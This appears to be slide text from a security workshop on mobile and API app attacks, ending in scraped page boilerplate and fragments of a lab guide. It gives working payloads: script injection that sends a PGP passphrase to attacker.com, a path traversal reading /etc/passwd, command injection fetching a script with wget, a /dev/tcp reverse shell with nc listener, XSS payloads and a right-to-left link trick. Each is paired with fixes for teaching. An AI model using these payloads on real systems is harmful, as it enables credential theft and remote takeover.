[html appendFormat:@"\nvar passphrase = '%@';", [self.passphrase
stringEscapedForJavaScript]];
[html appendFormat:@"\nvar Message = '%@';", [self.Message stringEscapedForJavaScript]];
Solution: Remotely Steal Private Key & Passphrase
Vuln:
[html appendFormat:@"\nvar Message = '%@';", [self.Message stringEscapedForJavaScript]];
PoC Email:
';var xmlHttp = new
XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+encodeURIComponent(passphrase)
,false); xmlHttp.send(null); a='
Resulting JavaScript:
var Private_Key = '-----BEGIN PGP PRIVATE KEY BLOCK----- ...'
var passphrase = 'MY_SECRET_PASSPHRASE';
var Message = '';var xmlHttp = new
XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+passphrase
,false); xmlHttp.send(null); a='';
Attack: Remotely Steal Private Key & Passphrase
Server Command (setup listener):

$ nc -lp 443
Output (receive stolen passphrase):

GET /MY_SECRET_PASSPHRASE HTTP/1.1
Fix: Remotely Steal Private Key & Passphrase
→ base64-encode user input (i.e. the entire message) before concatenation

→ Encode user input in JavaScript
Source: https://www.memecreator.org/static/images/memes/4920630.jpg
Scenario: Mandated app in South Korea (Android)
Government-mandated app to help parents protect their children:

→ Control phone usage
→ Control installed apps
→ Block websites
→ etc.
Round #1: https://7asecurity.com/reports/pentest-report_smartsheriff.pdf

Round #2: https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf
Smart Sheriff: Round 1 = NO SSL

Smart Sheriff: Round 2 = switched to SSL!

SSL MitM without warnings!
encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5]
encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554
Code (decompiled):
public static String encrypt_decrypt(String var0) {
var1_1 = new byte[39]; var1_1[0] = 109; var1_1[2] = 111; [...] var1_1[38] = 107;
var2_2 = new byte[var0.getBytes().length];
try {
[...] var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]); [...]
} while (true);[...]
}
Harcoded XOR key! :)
encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5]
encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554
Code (decompiled):
public static String encrypt_decrypt(String var0) {
var1_1 = new byte[39]; var1_1[0] = 109; var1_1[2] = 111; [...] var1_1[38] = 107;
var2_2 = new byte[var0.getBytes().length];
try {
[...] var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]); [...]
} while (true);[...]
}
Attack: Harcoded XOR PoC script
XORdecrypt("]5Z\WSVAB5]") == '05555215554'
def XORdecrypt(s):
abyte2 = [109, 0, 111, 105, 98, 97, 103, 116, 119, 0, 105, 103, 115,
121, 115, 116, 101, 0, 109, 115, 102, 105, 103, 104, 116, 0, 105,
110, 103, 104, 104, 104, 107, 0, 107, 107, 107, 111, 107]
abyte0 = [0 for c in s]
abyte1 = [ord(c) for c in s]
j = 0;
k = 0;
while True:
abyte0 = [i for i in abyte1]
l = len(s)
if k>=l:
[...]
[...]
return "".join([chr(c) for c in abyte0])
else:
abyte1[k] = abyte1[k]^abyte2[j]
j+=1
l = len(s)
if j>=l:
j=0
k+=1
public final class a {
public static byte[] a = new byte[16];
public static String a(Context paramContext, String paramString)
{
String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));
byte[] arrayOfByte = paramString.getBytes("UTF-8");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);
SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(1, localSecretKeySpec, localIvParameterSpec);
return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);
}
}
Hardcoded AES key!
public final class a {
public static byte[] a = new byte[16];
public static String a(Context paramContext, String paramString)
{
String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));
byte[] arrayOfByte = paramString.getBytes("UTF-8");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);
SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(1, localSecretKeySpec, localIvParameterSpec);
return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);
}
}
Attack: Hardcoded AES key!
Attack: Catastrophe Summary
Fix: Smart Sheriff broken SSL & Crypto
→ Validate SSL certificate properly
→ Avoid hardcoding encryption keys in apps
→ Request a key over a secure connection to the server, using a server public key
OR
→ Generate a key on the client and send it securely to the server encrypting it with the
server public key
→ Save the encryption key for the user safely leveraging the Android keystore.
Episode: API attacks
Source: https://www.imperva.com/
Scenario: Retrieving files from the server
Normal URL:
https://api.server.com/export/:file?name=file.pdf
Server Code:
$api->get('/export/:file', function($name) {
if(!empty($_GET['name'])) {
$file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']);
if(file_exists($file)) {
header('Content-disposition:attachment; filename=' . $name);
header('Content-type: application/octet-stream');
readfile($file);
echo $file;
}
}
});
Path Traversal & Filter Bypass
Normal URL:
https://api.server.com/export/:file?name=file.pdf
Server Code:
$api->get('/export/:file', function($name) {
if(!empty($_GET['name'])) {
$file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']);
if(file_exists($file)) {
header('Content-disposition:attachment; filename=' . $name);
header('Content-type: application/octet-stream');
readfile($file);
echo $file;
}
}
});
Attack: Path Traversal & Filter Bypass
PoC
https://api.server.com/export/:file?name=....//....//....//....//....//....//....//....//..../
/....//....//....//etc/passwd
Code:
str_replace('../','', $_GET['name'])
IN:
....//
OUT:
../
Fix: Path Traversal & Filter Bypass
→ Use a platform function that returns the filename for a path:
https://www.php.net/basename
→ Use a platform function to verify the final URL starts with the expected directory:
https://www.php.net/realpath
if (0 !== strpos(realpath($dir_with_user_input), $expected_dir)) die('Access denied!');
→ Reject ".." sequences:

if(preg_match('/\.{2,}/', $_GET['name'])){die('Access denied!');}
Scenario: Uploading files to the server
user_files = "%s%s/" % (globals.user_files, params['pgpFingerprint'])
RunCmd(["mkdir", user_files], None)
print "trying to save bytes to %s" % user_files
file = open(os.path.join(user_files, "sourcePackage"), "w+") # save blob here
file.write(base64.b64decode(unquote(params['data'])))
file.close()
def RunCmd(cmd, des):

cmd = " ".join(cmd)
ex = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
stderr=subprocess.STDOUT, close_fds=True)
RCE in user file upload
user_files = "%s%s/" % (globals.user_files, params['pgpFingerprint'])
RunCmd(["mkdir", user_files], None)
print "trying to save bytes to %s" % user_files
file = open(os.path.join(user_files, "sourcePackage"), "w+") # save blob here
file.write(base64.b64decode(unquote(params['data'])))
file.close()
def RunCmd(cmd, des):

cmd = " ".join(cmd) # python list concatenated into a single string
ex = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
close_fds=True) # insecure option enabled
Attack: RCE in user file upload
PoC Payload (https://hackvertor.co.uk)
pgpFingerprint=<@urlencode_0(encodeURIComponent,encode)>123456 | wget
https://7asecurity.com/?$(whoami) |
123<@/urlencode_0>&alias=abcdefg&data=<@base64_1(encode)>7asec<@/base64_1>
PoC
curl https://some.server.com --data
"pgpFingerprint=123456%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%E2%80%8B%E2%80%8B%20%E2%80%8B%
E2%80%8Bwget%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8Bhttps%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2F7asecurity.com%2F%3F%24(whoami
)%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%20123%E2%80%8B%E2%80%8B&alias=abcdefg&data=N2FzZWM=
"
Attack: RCE in user file upload (pwn)
Setup a shell listener:
nc -nlvp 4444
reverse shell one liner in attacker webroot:

File: /var/www/html/a.txt
Contents:
0<&196;exec 196<>/dev/tcp/attacker_ip/4444; sh <&196 >&196 2>&196
Pwn:
curl -k https://some.site.com/ --data
'pgpFingerprint=123456 | wget http://attacker_ip/a.txt; bash a.txt |
123&alias=abcdefg&data=Y3VyZTUz'
Enjoy:
connect to [192.168.0.127] from (UNKNOWN) [x.x.x.x] 60681
whoami
root
Fix: RCE in user file upload
→ If possible, avoid string concatenations:
Also avoid calling subprocess.Popen with shell=True
NOTE: python will auto-escape arguments then, you need to pass a list, not a
string:
subprocess.Popen(["mkdir", user_files], shell=False, ...
→ If you must concatenate strings, PHP and other platforms offer shell escaping
functions:
https://www.php.net/escapeshellarg
→ Validate user input with a whitelist regex that is as restrictive as possible, i.e.
[a-Z0-9\.]
NOTE: Make sure the whitelist doesn't allow especial shell characters like |;&"`'
Scenario: API Leaks
Government-mandated app to help parents protect their children:
→ Control phone usage
→ Control installed apps
→ Block websites
→ etc.
Round #1: https://7asecurity.com/reports/pentest-report_smartsheriff.pdf
Round #2: https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf

Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Scenario: Smart Dream South Korea (Android)
→ Monitors phone messages for "harmful words":
﹢ If harmful words are present parents are notified
﹢ Messages containing harmful words stored on the server
→ Registers itself as an "accessibility app" to gain access to SMS and Kakao talk
messages
→ Abuses functionality intended for text2speech

Attack: Smart Dream Demo
DEMO
Fix: Implement Access Control
→ Limit access to data based on user permissions
→ Centralize security controls as much as you can
→ Limit database queries based on who the user is, do this in a centralized way
(i.e. around Active Record implementation)
→ Automatically add database query clauses that filter database queries based on
who the user is
Q&A
Free 4h Workshop Access (vuln apps, slides, recording):
https://7asecurity.com/free
Any questions? :)
> [email protected]
> @7asecurity
> @7a_
> @owtfp [ OWASP OWTF - owtf.org ]
+ 7asecurity.com

Practical Mobile App Attack

Uploaded by

Copyright:

Available Formats

Practical Mobile App Attack

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Practical Mobile App Attack

Uploaded by

Copyright:

Available Formats

Practical Mobile App Attacks

Chinese Police Apps Pentest Reports:

Interesting WebView properties

● HTML Injection → could be useful for phishing: fake login page

Official Project URL:

Preliminaries: Creating Some Data Files

Fig.: Going to the “Insecure Data Storage” area

From this section, let’s do the following:

Task 1 - Create a Shared Preferences File

Fig.: Creating a shared preferences file with user credentials

Task 2 - Create a SQLite Database File

Go to “SQLite” and enter some username and password like mysecretuser /

Fig.: Creating a SQLite file with user credentials

Step 1: Navigate to the Input Validation - XSS exercise

Click on “Input Validations” and then “Input Validations XSS”:

Fig.: Navigating to the XSS Exercise

Step 2: Confirming the XSS vulnerability

Checking for HTML injection:

Fig.: Confirming the HTML Injection issue

Checking for XSS:

The next step is to check if JavaScript executes.

Fig.: Confirming the XSS vulnerability

Confirming Execution Context

Fig.: Determining JavaScript execution context

● Internal storage: /data/data/owasp.sat.agoat/app_webdata/xss.html

Data Exfiltration via XSS - Figuring out File Paths

Case 1: Root Access

Data Exfiltration via XSS - Stealing App Files

Fig.: Data retrieval from system and other apps

XSS & Data Exfiltration Summary Analysis

So, as we have seen, with XSS we can exfiltrate:

Methodology-wise you are looking to answer the following questions:

Question Payload Result

Can we also run arbitrary <img src=x onerror=alert(1)> Yes!

If so, under what context is <script>alert(location)</script> Context: file://

Question Payload Result

If XSS from a privileged <script>a=new Yes! We can read app files,

XSS via SD Card Manipulation

Fig.: Confirming SD Card location

Another way would be to use the command line:

Name: <input type="text" id="name"/>

Fig.: Still able to trigger the XSS even without XSS!

Root Cause Analysis

Upload the app to MobSF for analysis.

Now copy the upload locally, for example:

It seems that xss_ext.html could be an interesting file to look at:

Name: <input type="text" id="name"/>

To resolve issues like this, it is important to apply as many of the following

Fig.: Starting Webview issues challenge

Fig: WebView in iOS app

Fig: WebView in iOS app

Fig.: XSS from a privileged context (applewebdata://) results

Question Payload Result

Can we also run arbitrary <img src=x onerror=alert(1)> Yes!

If so, under what context is <svg/onload=alert(location)> Context: applewebdata://

Question Payload Result

Root Cause Analysis

If must use SD Card:

1. Send link: &#8238;&#x20;moc.evil.org

Usually used against:

1. Send link: ‮ moc.evil.org